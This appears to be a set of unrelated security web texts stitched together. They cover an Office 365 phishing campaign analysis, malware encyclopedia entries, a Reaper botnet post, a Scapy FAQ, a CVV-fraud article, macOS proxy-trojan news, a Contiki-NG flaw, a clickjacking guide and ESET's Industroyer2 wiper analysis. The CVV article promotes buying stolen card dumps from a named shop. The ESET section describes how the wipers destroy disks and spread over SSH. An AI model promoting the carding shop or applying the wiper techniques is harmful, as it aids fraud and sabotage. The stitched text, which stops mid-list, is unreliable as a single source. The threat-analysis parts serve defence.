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Last week, a friend of mine reached out with a query: a contact in his address book had sent him a suspicious email. As it turns out, it was. In this blog post, we’ll have a quick look at an Office 365 phishing campaign, which turned out to be massive. This type of phishing has been on the rise for a while now (at least since 2017), and it’s important to point out, as seemingly attacks are only increasing.
As mentioned earlier, Office 365 (O365) phishing isn’t new, but it is definitely prevalent. A high-level overview of a typical attack is as follows:
|Figure 1 – High-level overview of typical O365 phishing|
A typical flow of such an attack may be as follows:
- An attacker sends an O365 spearphishing email, likely from a spoofed or fake email address;
- The user is enticed to click on the link, or open the attachment which includes a link;
- The user will then unknowingly enter their credentials on the fake O365 page;
- Credentials get sent back to the attacker;
- Attacker will access the now compromised user’s mailbox; and,
- The cycle repeats: the attacker will send spearphish emails to all of the compromised user’s contacts – with this difference, it’s coming from a legitimate sender.
|Figure 2 – “P.AYMENT COPY”|
Clicking on the “OPEN” button would redirect you to a legitimate but compromised Sharepoint (part of O365) webpage. Seeing as a legitimate business has been compromised, I won’t post the link here. Its web administrators have been notified.
|Figure 3 – “Access OneDrive”|
The PDF document
Next step is hosting a PDF named “INVOICE.PDF”, which entices the user to access OneDrive to view the shared file. If the user were to click on “OPEN PDF HERE”:
|Figure 4 – “Login with Office 365”|
The final landing or phishing page
Finally, clicking on “Login with Office 365” will redirect the user to the final phishing page, which will look as follows:
|Figure 5 – Final landing page|
The final landing page is as follows:
When entering credentials, they will be sent off to the attacker, and the cycle from Figure 1 will repeat itself. Note that other scenarios are possible, for example:
- The attacker may try to (re-)sell credentials that have been gathered so far on criminal forums
- The attacker may send more targeted spearphishes to potentially interesting victims
- The attacker may attempt to access other services or accounts using the same user/password combination
This means the certificate is a local and self-signed one. In other words, if you are accessing a secure website, and you see “server.localhost.com” as the SSL certificate, do NOT trust it.
As a side-note, a search for the Common Name (CN) mentioned above with Censys currently yields 1,499 results: https://censys.io/certificates?q=server.localhost.com
The phishing website encountered here, https://happymachineit[.]info, is hosted on the following IP: 178.159.36[.]107
Performing a search with RiskIQ’s PassiveTotal as well as VirusTotal, and after filtering results, we obtain a whopping total of 875 unique Office 365 phishing sites, hosted on that IP alone! It appears this campaign has been active since December 2018.
Searching a bit further, it appears the whole ASN (which is a collection of IP prefixes controlled by a single entity, typically an ISP), AS48666 is in fact riddled with Office 365 as well as other phishing sites. Using URLscan.io we can quickly gauge the ASN is hosting multiple phishing sites for Office 365 as well as Adobe:
|Figure 6 – AS48666 hosting badness|
- Geo: Russian Federation (RU) —
- AS: AS48666 – AS-MAROSNET Moscow, Russia, RU
- Registrar: RIPENCC
As shown in this blog post, one IP address can host tons of phishing instances, while the ASN controls multiple IPs.
For the phishing websites itself, any network traffic that resolves to the IP above.
I’ve noticed there are countless similar PDFs from this same campaign. Due to the way these are created (likely in bulk), a simple Yara rule can be found here.
Note: in specific instances, this rule may false-positive – so use at your own will.
There isn’t much to disinfect, since there’s no actual malware involved.
However, if you have been affected by this phishing campaign, do the following immediately:
- Contact your network and/or system administrator or managed services provider if you have one and wait for their response – if not;
- Note down the phishing page/URL, then close any open phishing pages – in fact, close the whole browser;
- Perform an antivirus scan with your installed product, and a scan with another application, for example Malwarebytes (better be safe than sorry);
- Change your O365 password immediately;
- Change passwords on other websites where you used the same combination;
- Reach out to the people in your address book you were compromised and they are not to open your email(s) or at least not any attachments or links from your email(s);
- Verify your “Sent” emails folder for any suspicious activity. If there are no Sent emails – the attacker may have deleted them, or you may have a full compromise on your hands.; and,
- File a complaint with your CERT, local police station, or whichever authority would handle such cases. If you are unsure how to do so, have a look here for assistance.
- Block the IP mentioned in this report in your firewall or proxy or other appliance;
- Use strong and preferably unique passwords (use a password manager);
- Set up 2FA for accounts or, preferably, MFA (multi-factor authentication);
- Enable, deploy or implement anti-spam and anti-phishing protection;
- Enable, deploy, or implement a URL phishing filter;
- Trust, but verify: “did this contact really need to send me a “Payment Copy”? – if needed, verify via a phone call – not via email;
- Be generally cautious with links and attachments. Do not click on links or open attachments from unknown senders;
- If possible, use Firefox with NoScript enabled; and,
- If you’re in an organisation: create or organise user awareness training.
Phishing has been around for a long time – Office 365 phishing, on the other hand, has been around since, well, Office 365 was created. Every time a new service is created, you can imagine that phishing emails targeting that service will follow – maybe one month later, perhaps a year later – but they will.
Always try to be vigilant and follow the prevention tips mentioned above to stay safe.
As a side-note, the real Office 365 page is: https://outlook.office365.com/owa
You may find more information in the Resources section below.
Blaze’s Security Blog – Cybercrime Report Template
Decent Security – Easily Report Phishing and Malware
Microsoft – Anti-phishing protection in Office 365
Microsoft – Microsoft publishes guidance to boost public sector cloud security
Microsoft – Set up multi-factor authentication
Microsoft – Set up Office 365 ATP anti-phishing and anti-phishing policies
*** This is a Security Bloggers Network syndicated blog from Blaze’s Security Blog authored by Bart. Read the original post at: https://bartblaze.blogspot.com/2019/03/analysing-massive-office-365-phishing.html |
Cxover.A infects devices over Microsoft's ActiveSync protocol. If the Cxover.A binary is executed on a Windows Mobile device, it looks for the PC over the ActiveSync connection and copies itself to the PC so that it will start automatically at next boot.
If Cxover.A is executed on a Windows PC it will search for any handled devices connected over ActiveSync and copy itself there.
F-Secure Anti-Virus detects this malware with the following updates:
Version = 2006-03-15_02.
F-Secure Mobile Anti-Virus for Windows Mobile detects this malware starting from the update build number 16. |
The new modern attack surface encompasses many emerging technologies such as the Internet of Things (IoT). As IoT becomes more integrated into the business communications path and the security boundary of your organization begins to blur, the risk of vulnerable IoT devices such as routers, cameras and video recorders will continue to increase.
About the Reaper Botnet
On October 20, 2017, researchers at the Chinese security firm Qihoo 360 and the Israeli firm Check Point detailed a new IoT botnet based in part on the Mirai botnet code. The main difference between Mirai and this new botnet is that Reaper relies on exploits instead of brute-forcing passwords as its infection method. The Reaper malware is leveraging nine vulnerabilities affecting home routers made by Linksys and D-Link; IP cameras and digital network video recorders made by VACRON, NUUO, NETGEAR, AVTECH, Maginon, Avacom, and others. Some of these vulnerabilities have patches available but unfortunately, many consumers never take the necessary steps to patch IoT devices in their homes.
Researchers have found that several tens of thousands of devices have been infected and over two million are queued to be infected. At the moment, researchers have only been able to identify from the Command and Control (C&C) that the botnet has focused on growing its numbers and no malicious payload has been seen. However, the code for the malware is a modular one where components can be loaded to expand the botnet’s capabilities, which makes the potential of someone using the botnet for other attacks very high.
Detection of Vulnerable Devices
Tenable.io Vulnerability Management and Nessus provide you with plugins to detect IoT devices vulnerable to the Reaper IoT botnet. The vulnerabilities detected are:
- D-Link 850L RCE (103114)
- GoAhead Credential Leak (102174)
- NUUO NVR / ReadyNAS Surveillance RCE (103928)
- Vacron NVR RCE (104124)
- NETGEAR DGN RCE (104128)
- Linksys E1500/E2500 Authenticated RCE (104129)
- D-Link DIR-300/DIR-600 RCE (104126)
- AVTech Multiple Vulnerabilities (104102)
- D-Link DIR-635L Credential Leak (66238)
- MVPower NVR RCE (104144)
Tenable will continue to monitor the Reaper botnet and add additional coverage if new exploits are added to the Reaper malware.
Botnets often use well-known vulnerabilities & exploits to propagate their code to devices which in turn become bots. These well-known vulnerabilities can often be remediated either through patches or software updates. Implementing a proactive security program that includes regular patching and software updating is one of the best strategies you can use to prevent botnets from growing. Make a regular habit of scanning your IoT devices and updating them as necessary, to protect your assets.
For more information
- Learn more about Tenable.io, the first vulnerability management platform for all modern assets
- Get a free 60-day trial of Tenable.io Vulnerability Management
Many thanks to the Tenable research team for their contributions to this blog. |
Welcome to the Virus Encyclopedia of Panda Security.
Ceckno.J is a backdoor that consists of two components, one of them is a downloader and downloads the backdoor itself.
This backdoor opens another port and remains listening and waiting for remote control instructions, such as downloading or deleting files from the affected computer.
Ceckno.J does not spread automatically using its own means. It needs an attacking user's intervention in order to reach the affected computer.
Ceckno.J is difficult to recognize, as it does not display any messages or warnings that indicate it has reached the computer.> |
How do you sniff TCP packets with Scapy?
Sniffing packets using scapy: To sniff the packets use the sniff() function. The sniff() function returns information about all the packets that has been sniffed. To see the summary of packet responses, use summary(). The sniff() function listens for an infinite period of time until the user interrupts.
What protocols does Scapy support?
List of protocols supported. >>> ls() ARP : ARP DNS : DNS Dot11 : 802.11 TCP : TCP Ether : Ethernet […]
How do you send packets with Scapy?
- Send packets at Layer 3(Scapy creates Layer 2 header), Does not recieve any packets.
- loop argument is by default 0, if it’s value is anything oth than 0 then the packets will be sent in a loop till CTRL-C is pressed.
- count can be used to set exact number of packets to be sent.
What is Scapy tool?
Scapy is a packet manipulation tool for computer networks, originally written in Python by Philippe Biondi. It can forge or decode packets, send them on the wire, capture them, and match requests and replies. It can also handle tasks like scanning, tracerouting, probing, unit tests, attacks, and network discovery.
What does Scapy SRP return?
Send and receive packets (sr) The sr() function is for sending packets and receiving answers. The function returns a couple of packet and answers, and the unanswered packets.
What are TCP IP attacks?
The TCP/IP protocol suite is vulnerable to a variety of attacks ranging from password sniffing to denial of service. Software to carry out most of these attacks is freely available on the Internet. These vulnerabilities—unless carefully controlled—can place the use of the Internet or intranet at considerable risk.
Why is Scapy used?
Scapy is a Python interpreter that enables you to create, forge, or decode packets on the network, to capture packets and analyze them, to dissect the packets, etc. It also allows you to inject packets into the network.
What is a Scapy packet?
Where is scapy used?
The Scapy module is a Python-based library used to interact with and manipulate network packets. The library is supported by both Python2 and Python3 and can be used via the command line or by importing it as a library into your Python program. Scapy can also be run on Windows, Mac OS, and Linux systems.
Can a TCP connection be hijacked?
Having hijacked the TCP/IP session, the attacker can read and modify transmitted data packets, as well as send their own requests to the addressee. TCP/IP hijacking is a type of man-in-the-middle attack.
Where is Scapy used? |
Credit card CVV codes can help prevent card-not-present fraud, but they aren’t foolproof. Skimmers or malware on point-of-sale systems could steal them, and criminal dump sellers don’t bundle them with more valuable data such as total card numbers and expiration dates for sale. Check out Briansclub to know more
Avoid giving out personal or sensitive data online at all costs, particularly over social networks such as Facebook. Here are some standard techniques hackers use to steal CVV codes:
Hackers have long used the practice of “phishing,” in which individuals are tricked into divulging personal data such as login IDs, passwords, credit card data, or other confidential details that cybercriminals then exploit to commit identity theft or other forms of theft.
Phishing can occur through various channels like email, text, and voice. Email phishing is one form of phishing that uses fake websites or attachments to gain entry to users’ computers without their knowledge and steal sensitive data. Also known as spear phishing, vishing, or smishing, another technique known as pharming exploits the domain name system to redirect traffic towards a fake website.
Some phishing attacks involve fraudsters impersonating friends or family of the target and using social engineering techniques to convince them to provide them with their CVV number, which scammers can use to make fraudulent purchases or drain their bank accounts.
Before giving personal data online, always conduct a verification check on any website before entering personal details. Verify whether the URL begins with https and avoid sites without an SSL padlock in their address bars. In addition, installing antivirus software and password-protecting your home WiFi network can help detect malicious activity like keyboard-logging programs used to steal CVV numbers and other personal information.
Scams come in all forms and are often distinguished by an upfront fee demanded before receiving services promised by scammers. Such advances-fee schemes (known variously as: “phishing,” “info stealer,” and “keyloggers”) are one of the main methods used by criminals to gain personal data such as CVV codes from innocent victims.
A three or four-digit CVV code is printed on the front of credit cards to verify physical ownership by customers. While each card’s CVV code should not be stored online, criminals can obtain it using phishing and hacking techniques or by purchasing bundles of card data known as “fullz” from dark web vendors for $20 each – then use those dumps to create new physical clones of cards used for shopping online or withdrawing cash at ATMs.
To remain secure when accessing your bank accounts online, always log on from a fast computer with passwords that are difficult to guess. Utilize antivirus software and run regular PC scans for viruses and keyloggers hackers use to monitor computer activities. Protect your home WiFi network using password protection while avoiding websites without an SSL padlock in the browser window.
Social engineering is an attack method that seeks to influence an individual rather than directly attacking an entire computer system. Threat actors posing as authority figures attempt to persuade their victims into providing sensitive data, accessing computer systems, or taking other unwise actions that give them control of your data – this can result in financial or even professional loss for you and potentially lead to job loss. There are six primary social engineering attacks: phishing, pretexting, baiting, quid pro quo tailgating, and CEO fraud. Each uses different tactics to lure targets into responding quickly. An attack begins with collecting personal details to verify the attacker’s identity, typically found through social media or publicly accessible sources such as newspapers. Once they have this data in hand, they can launch their attack.
They might send emails purporting to come from companies and trusted service providers like banks and credit card companies or pose as friends and family to induce their victims to lower their guard and divulge sensitive data. Furthermore, hackers could send malicious links or attachments containing malware directly into victims’ mailboxes or use an attack known as tailgating by following authenticated employees into restricted areas and piggybacking on their credentials to gain entry.
Card-not-present (CNP) transactions occur when credit cards are not physically present during purchases, such as online shopping or phone orders, costing merchants billions yearly in losses caused by criminal organizations or individuals with computer skills. While the Payment Card Industry Data Security Standard prohibits merchants from storing CVV information online, scammers still find ways to steal it; using stolen card details, they make purchases without authorization on social media or marketplaces such as eBay and Etsy.
CNP fraud can be particularly hazardous to small businesses as it can be difficult and expensive to prove who was responsible for a transaction. To safeguard themselves against chargeback fraud, companies should secure their websites with high-level security protocols to protect customer data.
As a business owner, offering multiple payment methods to meet customers’ preferences is wise. Doing this will increase reach, streamline the checkout process, and drive sales. However, remember that more payment methods increase the risk of fraudulent transactions and chargebacks; to mitigate this, consider employing a chargeback mitigation service that provides high-level technical solutions and expert support against chargebacks.
Read Also: Buy CVV Dump From Briansclub |
Cybercriminals are targeting Mac users with a new proxy trojan malware bundled with popular, copyrighted macOS software being offered on warez sites.
Proxy trojan malware infects computers, turning them into traffic-forwarding terminals used to anonymize malicious or illegal activities such as hacking, phishing, and transactions for illicit goods.
The latest campaign pushing proxy malware was discovered by Kaspersky, which reports the earliest submission of the payload on VirusTotal dates to April 28, 2023.
Bundled with popular warez
The campaign takes advantage of people’s willingness to risk their computer’s security to avoid paying for premium apps.
Kaspersky found 35 image editing, video compression and editing, data recovery, and network scanning tools laced with the proxy trojan to bait users looking for free versions of commercial software.
The most popular of the trojanized software in this campaign are:
- 4K Video Donwloader Pro
- Aissessoft Mac Data Recovery
- Aiseesoft Mac Video Converter Ultimate
- AnyMP4 Android Data Recovery for Mac
- Downie 4
- FonePaw Data Recovery
- Wondershare UniConverter 13
- SQLPro Studio
- Artstudio Pro
Kaspersky says that unlike the legitimate software, which are distributed as disk images, the trojanized versions are downloaded as PKG files.
Compared to disk image files, which are the standard installation medium for these programs, PKG files are far riskier as they can execute scripts during the installation of the app.
Because installer files are executed with administrator rights, any scripts they execute gain the same permissions when performing dangerous actions, including file modification, file autorun, and command execution.
In this case, the embedded scripts are activated after the program’s installation to execute the trojan, a WindowServer file, and make it appear as a system process.
WindowServer is a legitimate system process in macOS responsible for managing the graphic user interface, so the trojan aims to blend with routine system operations and elude user scrutiny.
The file tasked with launching WindowServer upon OS startup is named “GoogleHelperUpdater.plist,” mimicking a Google configuration file, again, aiming to be overlooked by the user.
Upon launch, the trojan connects to its C2 (command and control) server via DNS-over-HTTPS (DoH) to receive commands relating to its operation.
Kaspersky couldn’t observe these commands in action, but through analysis, deduced that the client supports creating TCP or UDP connections to facilitate proxying.
In addition to the macOS campaign using PKGs, the same C2 infrastructure hosts proxy trojan payloads for Android and Windows architectures, so the same operators likely target a wide range of systems. |
Contiki-NG is an open-source, cross-platform operating system for Next-Generation IoT devices. The 6LoWPAN implementation in Contiki-NG may cast a UDP header structure at a certain offset in a packet buffer. The code does not check whether the packet buffer is large enough to fit a full UDP header structure from the offset where the casting is made. Hence, it is possible to cause an out-of-bounds read beyond the packet buffer. The problem affects anyone running devices with Contiki-NG versions previous to 4.8, and which may receive 6LoWPAN packets from external parties. The problem has been patched in Contiki-NG version 4.8. |
Clickjacking is an attack that tricks a user into clicking a webpage element which is invisible or disguised as another element. This can cause users to unwittingly download malware, visit malicious web pages, provide credentials or sensitive information, transfer money, or purchase products online.
Typically, clickjacking is performed by displaying an invisible page or HTML element, inside an iframe, on top of the page the user sees. The user believes they are clicking the visible page but in fact they are clicking an invisible element in the additional page transposed on top of it.
The invisible page could be a malicious page, or a legitimate page the user did not intend to visit – for example, a page on the user’s banking site that authorizes the transfer of money.
There are several variations of the clickjacking attack, such as:
- Likejacking – a technique in which the Facebook “Like” button is manipulated, causing users to “like” a page they actually did not intend to like.
- Cursorjacking – a UI redressing technique that changes the cursor for the position the user perceives to another position. Cursorjacking relies on vulnerabilities in Flash and the Firefox browser, which have now been fixed.
Clickjacking attack example
- The attacker creates an attractive page which promises to give the user a free trip to Tahiti.
- In the background the attacker checks if the user is logged into his banking site and if so, loads the screen that enables transfer of funds, using query parameters to insert the attacker’s bank details into the form.
- The bank transfer page is displayed in an invisible iframe above the free gift page, with the “Confirm Transfer” button exactly aligned over the “Receive Gift” button visible to the user.
- The user visits the page and clicks the “Book My Free Trip” button.
- In reality the user is clicking on the invisible iframe, and has clicked the “Confirm Transfer” button. Funds are transferred to the attacker.
- The user is redirected to a page with information about the free gift (not knowing what happened in the background).
This example illustrates that, in a clickjacking attack, the malicious action (on the bank website, in this case) cannot be traced back to the attacker because the user performed it while being legitimately signed into their own account.
There are two general ways to defend against clickjacking:
- Client-side methods – the most common is called Frame Busting. Client-side methods can be effective in some cases, but are considered not to be a best practice, because they can be easily bypassed.
- Server-side methods – the most common is X-Frame-Options. Server-side methods are recommended by security experts as an effective way to defend against clickjacking.
Mitigating clickjacking with X-Frame-Options response header
The X-Frame-Options response header is passed as part of the HTTP response of a web page, indicating whether or not a browser should be allowed to render a page inside a <FRAME> or <IFRAME> tag.
There are three values allowed for the X-Frame-Options header:
- DENY – does not allow any domain to display this page within a frame
- SAMEORIGIN – allows the current page to be displayed in a frame on another page, but only within the current domain
- ALLOW-FROM URI – allows the current page to be displayed in a frame, but only in a specific URI – for example www.example.com/frame-page
Using the SAMEORIGIN option to defend against clickjacking
X-Frame-Options allows content publishers to prevent their own content from being used in an invisible frame by attackers.
The DENY option is the most secure, preventing any use of the current page in a frame. More commonly, SAMEORIGIN is used, as it does enable the use of frames, but limits them to the current domain.
Limitations of X-Frame-Options
- To enable the SAMEORIGIN option across a website, the X-Frame-Options header needs to be returned as part of the HTTP response for each individual page (cannot be applied cross-site).
- X-Frame-Options does not support a whitelist of allowed domains, so it doesn’t work with multi-domain sites that need to display framed content between them.
- Only one option can be used on a single page, so, for example, it is not possible for the same page to be displayed as a frame both on the current website and an external site.
- The ALLOW-FROM option is not supported by all browsers.
- X-Frame-Options is a deprecated option in most browsers.
Clickjacking test – Is your site vulnerable?
A basic way to test if your site is vulnerable to clickjacking is to create an HTML page and attempt to include a sensitive page from your website in an iframe. It is important to execute the test code on another web server, because this is the typical behavior in a clickjacking attack.
Use code like the following, provided as part of the OWASP Testing Guide:
<html> <head> <title>Clickjack test page</title> </head> <body> <p>Website is vulnerable to clickjacking!</p> <iframe src="http://www.yoursite.com/sensitive-page" width="500" height="500"></iframe> </body> </html>
View the HTML page in a browser and evaluate the page as follows:
- If the text “Website is vulnerable to clickjacking” appears and below it you see the content of your sensitive page, the page is vulnerable to clickjacking.
- If only the text “Website is vulnerable to clickjacking” appears, and you do not see the content of your sensitive page, the page is not vulnerable to the simplest form of clickjacking.
However, additional testing is needed to see which anti-clickjacking methods are used on the page, and whether they can be bypassed by attackers.
How Imperva helps mitigate clickjacking attack
To get to the point of clickjacking a site, the site will have to be compromised, something Imperva WAF prevents. You should also make sure your site resources are sending the proper X-Frame-Options HTTP headers, which would prevent some parts of your site from being framed in other pages or outside your domain. |
The blogpost presents the analysis of a cyberattack against a Ukrainian energy provider.
- ESET researchers collaborated with CERT-UA to analyze the attack against the Ukrainian energy company
- The destructive actions were scheduled for 2022-04-08 but artifacts suggest that the attack had been planned for at least two weeks
- The attack used ICS-capable malware and regular disk wipers for Windows, Linux and Solaris operating systems
- We assess with high confidence that the attackers used a new version of the Industroyer malware, which was used in 2016 to cut power in Ukraine
- We assess with high confidence that the APT group Sandworm is responsible for this new attack
Industroyer2: Industroyer reloaded
ESET researchers responded to a cyber-incident affecting an energy provider in Ukraine. We worked closely with CERT-UA in order to remediate and protect this critical infrastructure network.
The collaboration resulted in the discovery of a new variant of Industroyer malware, which we together with CERT-UA named Industroyer2 – see CERT-UA publication here. Industroyer is an infamous piece of malware that was used in 2016 by the Sandworm APT group to cut power in Ukraine.
In this case, the Sandworm attackers made an attempt to deploy the Industroyer2 malware against high-voltage electrical substations in Ukraine.
In addition to Industroyer2, Sandworm used several destructive malware families including CaddyWiper, ORCSHRED, SOLOSHRED and AWFULSHRED. We first discovered CaddyWiper on 2022-03-14 when it was used against a Ukrainian bank – see our Twitter thread about CaddyWiper. A variant of CaddyWiper was used again on 2022-04-08 14:58 against the Ukrainian energy provider previously mentioned.
At this point, we don’t know how attackers compromised the initial victim nor how they moved from the IT network to the Industrial Control System (ICS) network. Figure 1 shows an overview of the different malware used in this attack.
Figure 2 summarizes the chain of events.
- 2022-02-24: Beginning of the current Russian invasion in Ukraine
- 2022-03-14: Deployment of CaddyWiper against a Ukrainian bank
- 2022-04-01: Deployment of CaddyWiper against a Ukrainian governmental entity
- 2022-04-08 14:58 UTC: Deployment of CaddyWiper on some Windows machines and of Linux and Solaris destructive malware at the energy provider
- 2022-04-08 15:02:22 UTC: Sandworm operator creates the scheduled task to launch Industroyer2
- 2022-04-08 16:10 UTC: Scheduled execution of Industroyer2 to cut power in an Ukrainian region
- 2022-04-08 16:20 UTC: Scheduled execution of CaddyWiper on the same machine to erase Industroyer2 traces
Figure 2. Timeline of events
In 2017, ESET researchers revealed that a piece of malware that we named Industroyer was responsible for the power blackout that impacted Ukraine’s capital Kiev in December 2016.
As detailed in our white paper Win32/Industroyer: A new threat for industrial control systems, it is capable of interacting with industrial control systems typically found in electric power systems. This includes IEC-101, IEC-104, IEC 61850 and OPC DA devices.
At that time, we said that “it seems very unlikely anyone could write and test such malware without access to the specialized equipment used in the specific, targeted industrial environment”. This was confirmed in 2020 by the United States government when six officers of the Russian Military Unit 74455 of the Main Intelligence Directorate (GRU), were indicted for their role in multiple cyberattacks including Industroyer and NotPetya – see the indictment on justice.gov and our historical overview of Sandworm’s operations.
The recently discovered malware is a new variant of Industroyer, hence the name Industroyer2.
Industroyer2 was deployed as a single Windows executable named 108_100.exe and executed using a scheduled task on 2022-04-08 at 16:10:00 UTC. It was compiled on 2022-03-23, according to the PE timestamp, suggesting that attackers had planned their attack for more than two weeks.
Industroyer2 only implements the IEC-104 (aka IEC 60870-5-104) protocol to communicate with industrial equipment. This includes protection relays, used in electrical substations. This is a slight change from the 2016 Industroyer variant that is a fully-modular platform with payloads for multiple ICS protocols.
Industroyer2 shares number of code similarities with the payload 104.dll of Industroyer. We assess with high confidence that the new variant was built using the same source code.
Industroyer2 is highly configurable. It contains a detailed configuration hardcoded in its body, driving the malware actions. This is different from Industroyer, stores configuration in a separate .INI file. Thus, attackers need to recompile Industroyer2 for each new victim or environment. However, given that the Industroyer* malware family has only been deployed twice, with a five year gap between each version, this is probably not a limitation for Sandworm operators.
The new configuration format is stored as a string which is then supplied to the IEC-104 communication routine of the malware. Industroyer2 is able to communicate with multiple devices at once. Specifically, the analyzed sample contains eight different IP addresses of devices – see Figure 4.
The configuration contains values that are used during communication via IEC-104 protocol, such as ASDU (Application Service Data Unit) address, Information Object Addresses (IOA), timeouts, etc.
Before connecting to the targeted devices, the malware terminates a legitimate process that is used in standard daily operations. In addition to that, it renames this application by adding .MZ to the filename. It does so in order to prevent automatic re-start of this legitimate process.
The analysis is still ongoing in order to determine what are the exact actions taken for each device. We believe that this component is able to control specific ICS systems in order to cut power.
Industroyer2 can produce a log file or output its progress to the console window. However, instead of meaningful text messages as in the previous version, the malware writes various error codes – see Figure 5. We believe it is an obfuscation attempt by Sandworm developers to hamper analysis.
In coordination with the deployment of Industroyer2 in the ICS network, the attackers deployed a new version of the CaddyWiper destructive malware. We believe it was intended to slow down the recovery process and prevent operators of the energy company from regaining control of the ICS consoles. It was also deployed on the machine where Industroyer2 was executed, likely to cover their tracks.
The first version of CaddyWiper was discovered by ESET researchers in Ukraine on 2022-03-14 when it was deployed in the network of a bank. It was deployed via Group Policy Object (GPO), indicating the attackers had prior control of the target's network beforehand. The wiper erases user data and partition information from attached drives, making the system inoperable and unrecoverable.
New CaddyWiper loading chain
In the network of the energy provider, attackers deployed a new version of CaddyWiper that uses a new loader, named ARGUEPATCH by CERT-UA. ARGUEPATCH is a patched version of a legitimate component of Hex-Rays IDA Pro software, specifically the remote IDA debugger server win32_remote.exe. IDA Pro is not intended to be used in an ICS environment, as its main purpose is for software reverse-engineering including malware analysis. We don’t know why attackers chose to trojanize this piece of software; it might be a troll towards defenders.
ARGUEPATCH was executed by a scheduled task that was intended to be launched once on 2022-04-08 14:58 UTC on one machine and at 16:20 UTC on the machine where Industroyer2 was deployed.
The patched binary loads encrypted shellcode from a file and decrypts it with a key, both are provided on command line. A single-byte XOR key is derived from the input key and used to decrypt the shellcode.
The decrypted shellcode is a slightly modified version of CaddyWiper. A comparison of their main routines is provided in Figure 6 and Figure 7. Note that they do not wipe the domain controller, and they wipe C:\Users\ and disks from D:\ to [:\. The wiping routine is also almost identical: it fills all files with 0.
Finally, CaddyWiper calls DeviceIoControl with IOCTL_DISK_SET_DRIVE_LAYOUT_EX and a zeroed InputBuffer for all disks from \\PHYSICALDRIVE9 to \\PHYSICALDRIVE0. This erases extended information of the drive's partitions: the Master boot record (MBR) or the GUID Partition Table (GPT). This renders the machine unbootable.
Active Directory enumeration
Alongside CaddyWiper, a PowerShell script was found both in the energy provider network and in the bank that was compromised earlier.
This script enumerates Group Policies Objects (GPO) using the Active Directory Service Interface (ADSI). The script, shown in Figure 8, is almost identical to a snippet provided in a Medium blogpost.
We believe that attackers deployed CaddyWiper via a GPO and used the script to check the existence of this GPO.
Linux and Solaris destructive malware (ORCSHRED, SOLOSHRED, AWFULSHRED)
Additional destructive malware for systems running Linux and Solaris was also found on the network of the targeted energy company. There are two main components to this attack: a worm and a wiper. The latter was found in two variants, one for each of the targeted operating system. All malware was implemented in Bash.
The first component launched by the attacker was a worm, having its file named sc.sh. This Bash script starts by adding a scheduled task (cron job) to launch the wiper component at 2:58pm UTC (assuming the system is in the local time zone, UTC+3), unless it was launched with the “owner” argument. This is likely a way to avoid the initial system used to launch the worm auto-destructing.
The script then iterates over the networks accessible by the system by looking at the result of ip route or ifconfig -a. It always assumes a class C network (/24) is reachable for each IP address it collects. It will try to connect to all hosts in those networks using SSH to TCP port 22, 2468, 24687 and 522. Once it finds a reachable SSH server, it tries credentials from a list provided with the malicious script. We believe the attacker had credentials prior to the attack to enable the spread of the wiper.
If the system is not already compromised, malware is copied to the new target, and the worm is launched. The worm is not launched with the owner argument, so the wiper is scheduled to launch at 2:58pm UTC and destroy all data. If those systems were set to the local time zone, the destruction must’ve started at the same time as the system compromised with CaddyWiper.
The Linux wiper
The Linux variant of the wiper is lightly obfuscated: variables and function names have been replaced with meaningless 8-letter words. Most literal values were also replaced with variables at the beginning of the file.
Ultimately, the Linux wiper destroys the whole content of the disks attached to the system by using shred if available or simply dd (with if=/dev/random) otherwise. If multiple disks are attached, data removal is done in parallel to speed up the process.
Depending on the size, it may take hours for the full disk to be completely erased. To render the system inoperable faster, it first tries to stop and disable HTTP and SSH services. Both services are disabled by using systemctl disable. To ensure service isn’t reenabled, the systemd unit file responsible for loading the service is deleted from the disk.
Files from /boot, /home and /var/log are also removed before destroying the full drives. This makes the system inoperable faster, deletes user data and perhaps removes incriminating logs.
The malicious script’s last action is to forcibly initiate a reboot using SysRq. Since all drives are filled with random, no operating system will boot.
The Solaris wiper
Unlike the Linux wiper, the Solaris variant is not obfuscated.
Like the Linux variant, the malicious script iterates over all services to stop and disable them if they contain the keyword ssh, http, apache and additionally ora_ or oracle. Those services are very likely used by applications used to control ICS systems. Wiping them would prevent the energy company’s operators from retaking control of the substations and roll back Industroyer2 actions.
It uses either systemctl or svcadm depending on what’s available. The latter is most likely since Solaris is not running systemd.
File destruction begins by deleting databases. It removes, using shred then rm, all files and directories contained in environment variables starting with ORA. Note that shred makes sure data recovery (without a backup) isn’t possible.
Like the Linux variant, files in /boot, /home and /var/log are deleted with priority.
Then the script iterates over disks connected to the system, found in /dev/dsk/. It ignores slices (partitions) and work only on full disks. For each of them, the malicious script overwrites the full content using shred. To minimize the time required to perform the wipe, all disks are erased in parallel.
Lastly, the script self-destructs.
Ukraine is once again at the center of cyberattacks targeting their critical infrastructure. This new Industroyer campaign follows multiple waves of wipers that have been targeting various sectors in Ukraine. ESET researchers will continue to monitor the threat landscape in order to better protect organizations from these types of destructive attacks.
For any inquiries about our research published on WeLiveSecurity, please contact us at [email protected].
ESET Research now also offers private APT intelligence reports and data feeds. For any inquiries about this service, visit the ESET Threat Intelligence page.
Indicators of Compromise
|SHA-1||Filename||ESET detection name||Description|
|0090CB4DE31D2D3BCA55FD4A36859921B5FC5DAE||link.ps1||PowerShell/HackTool.Agent.AH||Script which enumerates GPO|
|D27D0B9BB57B2BAB881E0EFB97C740B7E81405DF||sc.sh||Linux/Agent.PC trojan||OrcShred (Linux worm)|
|3CDBC19BC4F12D8D00B81380F7A2504D08074C15||wobf.sh||Linux/KillFiles.C trojan||AwfulShred (Linux wiper)| |
This document describes Hive security using the basic authorization scheme, which regulates access to Hive metadata on the client side. This was the default authorization mode used when authorization was enabled. The default was changed to SQL Standard authorization in Hive 2.0 (HIVE-12429).
Hive authorization is not completely secure. The basic authorization scheme is intended primarily to prevent good users from accidentally doing bad things, but makes no promises about preventing malicious users from doing malicious things. See the Hive authorization main page for the secure options.
In order to use Hive authorization, there are two parameters that should be set in
Note that, by default, the hive.security.authorization.createtable.owner.grants are set to null, which would result in the creator of a table having no access to the table.
Users, Groups, and Roles
At the core of Hive's authorization system are users, groups, and roles. Roles allow administrators to give a name to a set of grants which can be easily reused. A role may be assigned to users, groups, and other roles. For example, consider a system with the following users and groups:
- <User>: <Groups>
- user_all_dbs: group_db1, group_db2
- user_db1: group_db1
- user_db2: group_db2
